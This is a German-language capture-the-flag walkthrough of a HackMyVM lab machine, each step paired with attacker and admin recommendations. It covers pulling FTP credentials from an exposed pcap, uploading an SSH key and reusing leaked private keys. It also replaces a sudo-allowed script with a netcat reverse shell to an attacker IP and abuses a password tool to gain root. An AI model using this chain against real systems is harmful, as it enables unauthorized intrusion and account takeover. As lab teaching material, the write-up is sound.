192.168.2.100 08:00:27:48:70:ea PCS Systemtechnik GmbH
Analyse: Mittels `arp-scan -l` wird das lokale Netzwerk gescannt. Ein Host mit der IP `192.168.2.100` und der MAC-Adresse `08:00:27:48:70:ea` (zugehörig zu PCS Systemtechnik GmbH, typisch für VirtualBox) wird identifiziert.
Bewertung: Das Zielsystem wurde erfolgreich im lokalen Netzwerk gefunden.
Empfehlung (Pentester): Führen Sie einen umfassenden Portscan (Nmap) auf die Ziel-IP `192.168.2.100` durch, um offene Ports und Dienste zu ermitteln. Fügen Sie optional einen Eintrag für die IP mit einem Hostnamen (z.B. `attack.hmv`) in `/etc/hosts` hinzu.
Empfehlung (Admin): Netzwerksegmentierung und ARP-Spoofing-Detection können die Aufklärung erschweren.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-01 23:42 CET Nmap scan report for attack (192.168.2.100) Host is up (0.00014s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 f48d08b499d20c5d75b822837bc28815 (RSA) | 256 e2160ae7384aec76cfd3567807fd2f25 (ECDSA) |_ 256 0b5a9c71cc3b50044618ad678adfd0d6 (ED25519) 80/tcp open http nginx 1.14.2 |_http-title: Site doesn't have a title (text/html). |_http-server-header: nginx/1.14.2 MAC Address: 08:00:27:48:70:EA (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.14 ms attack (192.168.2.100) Nmap done: 1 IP address (1 host up) scanned in 17.21 seconds
Analyse: Ein Nmap-Scan (`-sS -sC -T5 -A -p-`) auf die Ziel-IP zeigt drei offene Ports: * Port 21: FTP (ProFTPD). * Port 22: SSH (OpenSSH 7.9p1 auf Debian 10). * Port 80: HTTP (nginx 1.14.2).
Bewertung: Mehrere potenzielle Angriffsvektoren wurden identifiziert. FTP ist oft ein guter Ansatzpunkt für anonymen Zugriff oder Informationslecks. SSH und HTTP sind Standardziele. Die Versionsnummern sind für die Suche nach bekannten Schwachstellen relevant (OpenSSH 7.9p1 ist relativ modern, ProFTPD ohne Version ist schwer einzuschätzen, nginx 1.14.2 ist auch nicht mehr ganz neu).
Empfehlung (Pentester): Überprüfen Sie den FTP-Server auf anonymen Login und untersuchen Sie den Webserver (Port 80) auf Inhalte und Schwachstellen. Prüfen Sie die SSH-Konfiguration (z.B. erlaubte Authentifizierungsmethoden).
Empfehlung (Admin): Deaktivieren Sie anonymen FTP-Zugriff, falls nicht benötigt. Halten Sie alle Dienste aktuell. Implementieren Sie eine Firewall und sichern Sie die SSH-Konfiguration (z.B. Key-Auth bevorzugen, Root-Login verbieten).
[...]
http://192.168.2.100/index.html (Status: 200) [Size: 104]
[...]
Analyse: Ein Gobuster-Scan auf den Webserver (Port 80) findet nur eine `index.html`-Datei.
Bewertung: Der Webserver scheint auf den ersten Blick wenig Inhalt zu bieten.
// Inhalt von http://192.168.2.100/index.html
I did a capture with wireshark.
The name of the file is "capture" but i dont remember the extension :(
Analyse: Der Inhalt der `index.html` wird abgerufen (hier manuell eingefügt, nicht per `curl` im Log gezeigt). Er enthält einen wichtigen Hinweis: Es gibt eine Wireshark-Capture-Datei namens "capture", deren Erweiterung vergessen wurde.
Bewertung: Ein sehr direkter Hinweis. Die wahrscheinlichste Erweiterung für Wireshark-Captures ist `.pcap` oder `.pcapng`.
Empfehlung (Pentester): Versuchen Sie, die Datei `capture.pcap` (oder `capture.pcapng`) vom Webserver herunterzuladen (z.B. mit `curl http://192.168.2.100/capture.pcap`). Analysieren Sie die heruntergeladene Datei mit Wireshark oder `tcpdump`.
Empfehlung (Admin): Speichern Sie niemals sensible Informationen oder Dateien (wie Netzwerk-Captures) direkt im Web-Root-Verzeichnis.
- Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.2.100 + Target Hostname: 192.168.2.100 + Target Port: 80 + Start Time: 2022-11-01 23:42:42 (GMT1) --------------------------------------------------------------------------- + Server: nginx/1.14.2 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) [...] --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Ein `nikto`-Scan auf Port 80 wird durchgeführt. Er findet keine kritischen Schwachstellen, meldet aber fehlende HTTP-Sicherheitsheader (`X-Frame-Options`, `X-XSS-Protection`, `X-Content-Type-Options`).
Bewertung: Die fehlenden Header stellen ein geringes bis mittleres Risiko dar, sind aber hier nicht der primäre Angriffsvektor.
Empfehlung (Pentester): Nehmen Sie die fehlenden Header zur Kenntnis, konzentrieren Sie sich aber auf den Hinweis aus der `index.html`.
Empfehlung (Admin): Implementieren Sie die fehlenden Sicherheitsheader in der Nginx-Konfiguration, um die Sicherheit gegen Clickjacking und bestimmte XSS-Angriffe zu erhöhen.
23:54:29.803086 IP 192.168.2.100.80 > 192.168.2.121.41272: Flags [P.], seq 57355:58081, ack 22098, win 501, options [nop,nop,TS val 2550194813 ecr 3132955091], length 726: HTTP: HTTP/1.1 404 Not Found [...]404 Not Found 404 Not Found
nginx/1.14.2 [...]
Analyse: `tcpdump` wird gestartet, um den Netzwerkverkehr vom Ziel (`192.168.2.100`) auf dem Interface `eth0` mitzuschneiden. Es wird ein HTTP-404-Fehler (Not Found) vom Ziel zum Host `192.168.2.121` (vermutlich ein anderer Host im Netzwerk oder das Angreifer-System) aufgezeichnet.
Bewertung: Zeigt eine Standard-404-Fehlerseite von Nginx. Dieser einzelne aufgezeichnete Request liefert keine direkten Hinweise auf Schwachstellen.
Empfehlung (Pentester): `tcpdump` kann nützlich sein, um Hintergrundkommunikation oder Antworten auf Exploits zu beobachten, aber dieser spezifische Output ist nicht weiterführend.
Empfehlung (Admin): Stellen Sie sicher, dass Fehlerseiten keine sensiblen Informationen preisgeben.
* Trying 192.168.2.100:80... * Connected to 192.168.2.100 (192.168.2.100) port 80 (#0) > GET / HTTP/1.1 > Host: 192.168.2.100 > User-Agent: curl/7.85.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Server: nginx/1.14.2 < Date: Tue, 01 Nov 2022 22:55:22 GMT < Content-Type: text/html < Content-Length: 104 < Last-Modified: Thu, 07 Jan 2021 21:38:39 GMT < Connection: keep-alive < ETag: "5ff77f5f-68" < Accept-Ranges: bytes < I did a capture with wireshark. The name of the file is "capture" but i dont remember the extension :( * Connection #0 to host 192.168.2.100 left intact
Analyse: `curl -v` ruft die Startseite (`/`) ab und zeigt die HTTP-Header und den Body an. Es bestätigt erneut den Inhalt der `index.html` mit dem Hinweis auf die Capture-Datei.
Bewertung: Bestätigt den Hinweis und liefert keine neuen Informationen.
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 396k 100 396k 0 0 27.5M 0 --:--:-- --:--:-- --:--:-- 27.6M
Analyse: Basierend auf dem Hinweis aus der `index.html` wird versucht, die Datei `capture.pcap` vom Webserver herunterzuladen. Der Download ist erfolgreich.
Bewertung: Der Hinweis war korrekt. Eine Netzwerk-Capture-Datei wurde erfolgreich heruntergeladen.
Empfehlung (Pentester): Analysieren Sie die Datei `p.pcap` mit Wireshark oder `tcpdump -r`, um den aufgezeichneten Netzwerkverkehr zu untersuchen, insbesondere auf Klartext-Zugangsdaten oder andere sensible Informationen.
Empfehlung (Admin): Entfernen Sie die Capture-Datei sofort vom Webserver. Speichern Sie Netzwerk-Captures niemals in öffentlich zugänglichen Bereichen.
[...] FTP: 220 ProFTPD Server (Debian) [::ffff:192.168.1.44] length 0 FTP: USER teste FTP: PASS simple FTP: 230 Usuario teste conectado [...]
Analyse: Die heruntergeladene Capture-Datei (`p.pcap`) wird mit `tcpdump -r` analysiert. `tcpdump` interpretiert die Pakete und zeigt eine FTP-Kommunikation.
Bewertung: Kritischer Fund! Die Capture-Datei enthält eine FTP-Sitzung im Klartext, in der sich der Benutzer `teste` mit dem Passwort `simple` erfolgreich anmeldet.
Empfehlung (Pentester): Verwenden Sie die gefundenen FTP-Zugangsdaten (`teste`:`simple`), um sich am FTP-Server (Port 21) des Ziels anzumelden.
Empfehlung (Admin): Verwenden Sie sichere Protokolle wie FTPS oder SFTP anstelle von unverschlüsseltem FTP. Speichern Sie keine Netzwerk-Captures mit sensiblen Daten.
Ziel: Demonstration, wie die aus der `.pcap`-Datei extrahierten FTP-Zugangsdaten verwendet werden können, um auf den FTP-Server zuzugreifen und eine SSH-Authentifizierung vorzubereiten.
Voraussetzungen: * Netzwerkzugriff auf den FTP-Server (Port 21). * Gefundene FTP-Zugangsdaten (`teste`:`simple`). * Ein SSH-Schlüsselpaar auf dem Angreifer-System. * FTP-Client.
Risiko: Mittel bis Hoch. Der Zugriff auf das FTP-Home-Verzeichnis kann sensible Informationen preisgeben und das Hochladen von Dateien (wie hier dem SSH-Schlüssel) ermöglicht weitere Angriffe.
Schritt 1: FTP-Login
Connected to 192.168.2.100. 220 ProFTPD Server (Debian) [::ffff:192.168.2.100] Name (192.168.2.100:cyber): teste 331 Password required for teste Password: [Passwort simple eingegeben] 230 User teste logged in Remote system type is UNIX. Using binary mode to transfer files. ftp>
Analyse: Der Standard-FTP-Client wird verwendet, um sich mit dem Zielserver zu verbinden. Die extrahierten Zugangsdaten (`teste`:`simple`) werden eingegeben.
Bewertung: Der Login ist erfolgreich.
Schritt 2: Enumeration im FTP-Verzeichnis
229 Entering Extended Passive Mode (|||16303|) 150 Opening ASCII mode data connection for file list drwxr-xr-x 4 teste teste 4096 Jan 7 2021 . drwxr-xr-x 5 root root 4096 Jan 7 2021 .. -rw-r--r-- 1 teste teste 220 Jan 7 2021 .bash_logout -rw-r--r-- 1 teste teste 3526 Jan 7 2021 .bashrc drwxr-xr-x 3 teste teste 4096 Jan 7 2021 .local -rw-r--r-- 1 teste teste 360917 Jan 7 2021 mysecret.png -rw-r--r-- 1 teste teste 25 Jan 7 2021 note.txt -rw-r--r-- 1 teste teste 807 Jan 7 2021 .profile drwx------ 2 teste teste 4096 Jan 7 2021 .ssh -rw------- 1 teste teste 52 Jan 7 2021 .Xauthority 226 Transfer complete
Remote directory: /home/teste
Analyse: Der Inhalt des Home-Verzeichnisses von `teste` wird aufgelistet. Interessante Funde sind `mysecret.png`, `note.txt` und das Verzeichnis `.ssh`.
Bewertung: Das Vorhandensein eines `.ssh`-Verzeichnisses ist entscheidend, da es das Hochladen eines öffentlichen SSH-Schlüssels zur Authentifizierung ermöglichen kann.
Empfehlung (Pentester): Laden Sie `mysecret.png` und `note.txt` herunter und analysieren Sie sie. Wechseln Sie in das `.ssh`-Verzeichnis und laden Sie Ihren öffentlichen SSH-Schlüssel (`id_rsa.pub`) als `authorized_keys` hoch.
Empfehlung (Admin): Stellen Sie sicher, dass FTP-Benutzer nur auf die für sie bestimmten Verzeichnisse Zugriff haben (Chroot Jail). Beschränken Sie Berechtigungen im Home-Verzeichnis.
Schritt 3: Andere Home-Verzeichnisse auflisten
250 CWD command successful
229 Entering Extended Passive Mode (|||1302|) 150 Opening ASCII mode data connection for file list drwxr-xr-x 5 root root 4096 Jan 7 2021 . drwxr-xr-x 18 root root 4096 Jan 7 2021 .. drwxr-xr-x 4 jackob jackob 4096 Jan 10 2021 jackob drwxr-xr-x 3 kratos kratos 4096 Jan 7 2021 kratos drwxr-xr-x 4 teste teste 4096 Jan 7 2021 teste 226 Transfer complete
Analyse: Der Benutzer `teste` kann das übergeordnete Verzeichnis `/home` betreten und auflisten. Dadurch werden die Home-Verzeichnisse anderer Benutzer (`jackob`, `kratos`) sichtbar.
Bewertung: Dies ist eine Fehlkonfiguration (mangelndes Chroot Jail für den FTP-Benutzer) und ein Informationsleck, das die Existenz anderer Benutzerkonten bestätigt.
Empfehlung (Pentester): Notieren Sie sich die Benutzernamen `jackob` und `kratos`.
Empfehlung (Admin): Konfigurieren Sie ProFTPD (oder jeden FTP-Server) so, dass Benutzer in ihren Home-Verzeichnissen eingesperrt sind (Chroot Jail), um das Browsen im restlichen Dateisystem zu verhindern.
Schritt 4: SSH-Schlüssel hochladen
250 CWD command successful
local: authorized_keys remote: authorized_keys
229 Entering Extended Passive Mode (|||50504|)
150 Opening BINARY mode data connection for authorized_keys
100% |*************************************************************************************************************************************************************************************************| 553 18.83 MiB/s 00:00 ETA
226 Transfer complete
553 bytes sent in 00:00 (1.18 MiB/s)
Analyse: Es wird versucht, in das `.ssh`-Verzeichnis zu wechseln und die lokale `authorized_keys`-Datei (die den öffentlichen Schlüssel des Angreifers enthält) hochzuladen. **Achtung:** Der `cd .ssh`-Befehl wird wahrscheinlich im Verzeichnis `/home` ausgeführt, nicht in `/home/teste`, was bedeutet, dass der Schlüssel möglicherweise nach `/home/.ssh/authorized_keys` hochgeladen wurde (falls dieses Verzeichnis existiert und schreibbar ist), was ungewöhnlich ist. Wahrscheinlicher ist, dass im Log ein `cd /home/teste` vor `cd .ssh` fehlt.
Bewertung: Unter der Annahme, dass der Schlüssel korrekt nach `/home/teste/.ssh/authorized_keys` hochgeladen wurde, ist dies der entscheidende Schritt, um SSH-Zugriff als Benutzer `teste` über Schlüsselauthentifizierung zu ermöglichen.
Empfehlung (Pentester): Versuchen Sie nun, sich per SSH als `teste` mit Ihrem privaten Schlüssel anzumelden.
Empfehlung (Admin): Stellen Sie sicher, dass die Berechtigungen für `.ssh`-Verzeichnisse (700) und `authorized_keys`-Dateien (600) korrekt sind und nur dem jeweiligen Benutzer gehören.
insgesamt 380 -rw-r--r-- 1 root root 1023 2. Nov 00:05 attack.sh -rw-r--r-- 1 root root 394 2. Nov 00:03 authorized_keys -rw-r--r-- 1 root root 394 2. Nov 00:03 id_rsa.pub -rw-r--r-- 1 root root 360917 2. Nov 00:02 mysecret.png -rw-r--r-- 1 root root 67 2. Nov 00:05 note.txt [...]
I need to launch the script to start the attack planned by kratos.
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDC8yQhKHI2Piesf[...] teste@attack
Analyse: Zeigt die Dateien im Arbeitsverzeichnis des Angreifers, einschließlich der heruntergeladenen `note.txt` und der `authorized_keys`-Datei (die den öffentlichen Schlüssel enthält, der per FTP hochgeladen wurde). Der Inhalt von `note.txt` gibt einen Hinweis auf einen Benutzer `kratos` und ein geplantes Skript.
Bewertung: Der Hinweis in `note.txt` ist wichtig für spätere Schritte.
The authenticity of host 'attack.hmv (192.168.2.100)' can't be established. [...] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes [...] Enter passphrase for key '/root/.ssh/id_rsa': [Passphrase für den privaten Schlüssel des Angreifers eingegeben] Linux attack 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64 [...] Last login: Thu Jan 7 16:19:46 2021 from 192.168.1.58 teste@attack:~$
Analyse: Versuch, sich per SSH als Benutzer `teste` anzumelden. Da der öffentliche Schlüssel zuvor in `authorized_keys` platziert wurde, wird der Angreifer zur Eingabe der Passphrase für seinen *eigenen privaten* Schlüssel (`/root/.ssh/id_rsa`) aufgefordert.
Bewertung: Erfolgreicher SSH-Login als `teste` mittels Schlüsselauthentifizierung!
Empfehlung (Pentester): Führen Sie Enumerationsschritte als `teste` durch (`sudo -l`, SUID-Suche, Systeminformationen sammeln).
Empfehlung (Admin): Überwachen Sie SSH-Logins. Stellen Sie sicher, dass nur autorisierte Schlüssel verwendet werden.
Enumeration als `teste`:
[...]
[sudo] password for teste: [Passwort 'simple' funktioniert hier nicht]
[...]
PRETTY_NAME="Debian GNU/Linux 10 (buster)" [...]
4.19.0-12-amd64
Linux attack 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64 GNU/Linux
Analyse: `sudo -l` erfordert ein Passwort, das nicht bekannt ist (das FTP-Passwort 'simple' funktioniert nicht). Die Suche nach SUID-Dateien ergibt keine ungewöhnlichen Ergebnisse. Das System wird als Debian 10 "Buster" mit Kernel 4.19.0 identifiziert.
Bewertung: `teste` scheint keine besonderen `sudo`-Rechte zu haben. Die Systeminformationen sind nützlich für die Suche nach Kernel-Exploits.
Empfehlung (Pentester): Suchen Sie nach anderen Wegen zur Eskalation. Untersuchen Sie die Umgebung weiter auf Fehlkonfigurationen, interessante Dateien oder Prozesse. Nutzen Sie den Hinweis aus `note.txt` über `kratos` und ein Skript.
Empfehlung (Admin): Prinzip des geringsten Privilegs anwenden.
Entdeckung weiterer geleakter Informationen:
HTTP/1.1 200 OK Server: nginx/1.14.2 [...] Content-Type: application/zip Content-Length: 1536 [...]
[...]
Archive: zi.zip inflating: id_rsa
-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn [...] -----END OPENSSH PRIVATE KEY-----
Analyse: Eine weitere Datei (`filexxx.zip`) wird auf dem Webserver entdeckt und heruntergeladen. Das Entpacken ergibt einen privaten SSH-Schlüssel (`id_rsa`). Der Inhalt dieses Schlüssels entspricht dem öffentlichen Schlüssel, der zuvor in der `authorized_keys`-Datei von `teste` gefunden wurde.
Bewertung: Der private SSH-Schlüssel für den Benutzer `teste` wurde öffentlich auf dem Webserver abgelegt! Dies ist ein schwerwiegendes Sicherheitsleck, hätte aber auch für den initialen Zugriff genutzt werden können (statt des FTP-Weges).
Empfehlung (Pentester): Dieser Fund bestätigt den Zugriff auf `teste`, der aber bereits erreicht wurde.
Empfehlung (Admin): Speichern Sie niemals private Schlüssel in öffentlich zugänglichen Bereichen! Überprüfen Sie alle Webserver-Inhalte auf sensible Daten.
[...]
Hey jackob, you will need this: -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn [...] -----END OPENSSH PRIVATE KEY-----
Analyse: Noch eine Datei (`jackobattack.txt`) wird vom Webserver heruntergeladen. Sie enthält eine Nachricht an `jackob` und einen weiteren privaten SSH-Schlüssel.
Bewertung: Kritisches Datenleck! Der private SSH-Schlüssel für den Benutzer `jackob` wurde ebenfalls öffentlich zugänglich gemacht.
Empfehlung (Pentester): Verwenden Sie diesen privaten Schlüssel, um sich per SSH als Benutzer `jackob` anzumelden (Lateral Movement).
Empfehlung (Admin): Speichern Sie niemals private Schlüssel in öffentlich zugänglichen Bereichen! Schulen Sie Benutzer im sicheren Umgang mit Schlüsseln.
[Datei 'rsa' mit Jackobs Private Key erstellt/gespeichert]
[...]
jackob@attack:~$
Analyse: Der in `jackobattack.txt` gefundene private Schlüssel wird in der Datei `rsa` gespeichert. Anschließend wird `ssh` verwendet, um sich mit diesem Schlüssel als Benutzer `jackob` anzumelden.
Bewertung: Erfolgreiches Lateral Movement! Der Angreifer hat nun eine Shell als Benutzer `jackob`.
Empfehlung (Pentester): Führen Sie Enumerationsschritte als `jackob` durch, insbesondere `sudo -l`.
Empfehlung (Admin): Entfernen Sie die kompromittierten Schlüssel vom Webserver und aus den `authorized_keys`-Dateien. Erneuern Sie alle betroffenen Schlüssel.
Matching Defaults entries for jackob on attack:
!env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jackob may run the following commands on attack:
(kratos) NOPASSWD: /home/jackob/attack.sh
Analyse: `sudo -l` als `jackob` ausgeführt.
Bewertung: Wichtiger Fund! `jackob` darf das Skript `/home/jackob/attack.sh` als Benutzer `kratos` ohne Passwort (`NOPASSWD`) ausführen. Dies ist ein klarer Pfad zur Privilegienerweiterung zu `kratos`.
Empfehlung (Pentester): Da `jackob` das Skript `/home/jackob/attack.sh` selbst besitzt und ändern kann, ersetzen Sie den Inhalt des Skripts durch einen Befehl, der eine Shell startet (z.B. `/bin/bash` oder eine Reverse Shell). Führen Sie dann das Skript mit `sudo -u kratos /home/jackob/attack.sh` aus.
Empfehlung (Admin): Diese `sudo`-Regel ist extrem unsicher. Erlauben Sie niemals Benutzern, Skripte auszuführen, die sie selbst ändern können, insbesondere nicht als andere Benutzer via `sudo`. Verwenden Sie spezifischere, sicherere Befehle in `sudo`-Regeln.
Ziel: Demonstration der Ausnutzung der `sudo`-Regel, die es `jackob` erlaubt, `/home/jackob/attack.sh` als `kratos` auszuführen, um eine Shell als `kratos` zu erlangen.
Voraussetzungen: * Shell-Zugriff als `jackob`. * Die spezifische `sudo`-Regel `(kratos) NOPASSWD: /home/jackob/attack.sh`. * Ein Angreifer-System mit Netcat-Listener.
Risiko: Hoch. Ermöglicht die Übernahme des `kratos`-Kontos.
Schritt 1: Skript manipulieren
#!/bin/bash
nc -e /bin/bash 192.168.2.121 4444
Analyse: Das ursprüngliche `attack.sh` wird gesichert. Ein neues `attack.sh` wird erstellt, das einen Netcat-Reverse-Shell-Befehl enthält, der sich zur Angreifer-IP `192.168.2.121` auf Port `4444` verbinden soll. Das Skript wird ausführbar gemacht.
Bewertung: Das Skript ist nun präpariert, um bei Ausführung eine Reverse Shell zu senden.
Schritt 2: Listener starten (Angreifer)
listening on [any] 4444 ...
Analyse: Auf dem Angreifer-System wird ein Listener auf Port 4444 gestartet.
Schritt 3: Manipuliertes Skript als kratos ausführen
[Keine direkte Ausgabe, die Shell wird zum Listener gesendet]
Analyse: `jackob` führt das manipulierte Skript mithilfe seiner `sudo`-Berechtigung als Benutzer `kratos` aus.
Schritt 4: Shell als kratos empfangen (Angreifer)
listening on [any] 4444 ... connect to [192.168.2.121] from (UNKNOWN) [192.168.2.109] 51320 kratos@attack:/home/jackob$ pwd /home/jackob kratos@attack:/home/jackob$ id uid=1002(kratos) gid=1002(kratos) groups=1002(kratos)
Ergebnis: Der Listener empfängt die Verbindung und stellt eine Shell als Benutzer `kratos` bereit.
Bewertung: Die Privilegienerweiterung von `jackob` zu `kratos` war erfolgreich durch Ausnutzung der unsicheren `sudo`-Regel.
Empfehlung (Admin): Entfernen Sie die gefährliche `sudo`-Regel. Überprüfen Sie alle `sudo`-Konfigurationen auf ähnliche Schwachstellen.
Ziel: Demonstration der Ausnutzung eines unbekannten (nicht standardmäßigen) SUID-Programms oder einer `sudo`-Regel (nicht im Log gezeigt), um von `kratos` zu `root` zu eskalieren.
Voraussetzungen: * Shell-Zugriff als `kratos`. * Existenz des Tools `/usr/sbin/cppw` (vermutlich ein benutzerdefiniertes Tool zum Setzen von Passwörtern aus einer Datei) und die Berechtigung für `kratos`, dieses via `sudo` auszuführen (diese Berechtigung wird hier angenommen, ist aber nicht durch `sudo -l` belegt). * Ein bekannter Root-Passwort-Hash oder die Möglichkeit, einen zu generieren und ein entsprechendes Passwort zu wählen.
Risiko: Kritisch. Ermöglicht die vollständige Übernahme des Systems.
Schritt 1: Passwortdatei erstellen
Analyse: Eine Datei namens `password_file` wird erstellt. Sie enthält eine Zeile im Format, das `/etc/passwd` ähnelt, definiert einen Benutzer `root` mit UID/GID 0 und einem SHA512-Crypt-Hash (`$6$`). Das Passwort für diesen Hash ist unbekannt, muss aber dem Angreifer bekannt sein oder von ihm gewählt worden sein.
Bewertung: Die Datei ist vorbereitet, um sie einem Passwortänderungs-Tool zu übergeben.
Schritt 2: Passwortänderungs-Tool ausführen
[Keine Ausgabe, aber der Befehl wird ausgeführt]
Analyse: Das (vermutlich benutzerdefinierte) Tool `/usr/sbin/cppw` wird mit `sudo` ausgeführt, wobei die erstellte `password_file` als Argument übergeben wird. Es wird angenommen, dass `kratos` die `sudo`-Berechtigung für `cppw` hat und dass `cppw` das Root-Passwort basierend auf dem Inhalt der Datei ändert.
Bewertung: Dies ist der entscheidende Schritt der Eskalation. Das Root-Passwort wird auf ein dem Angreifer bekanntes Passwort gesetzt.
Empfehlung (Pentester): Wechseln Sie nun mit `su` und dem bekannten Passwort zum Root-Benutzer.
Empfehlung (Admin): Entfernen Sie das unsichere `cppw`-Tool oder die entsprechende `sudo`-Berechtigung. Verwenden Sie Standard-Tools zur Passwortverwaltung (`passwd`).
Schritt 3: Zu Root wechseln
Password: [Passwort für den Hash aus password_file eingegeben] root@attack:/home/kratos# id uid=0(root) gid=0(root) groups=0(root)
Analyse: Der `su`-Befehl wird verwendet, um zum Root-Benutzer zu wechseln. Das Passwort, das dem Hash in `password_file` entspricht, wird eingegeben.
Bewertung: Erfolgreich! Eine Root-Shell wurde erlangt.
Schritt 4: Root-Flag lesen
HMVattackr00t
Analyse: Die Root-Flag wird aus `/root/root.txt` gelesen.
Bewertung: Ziel erreicht.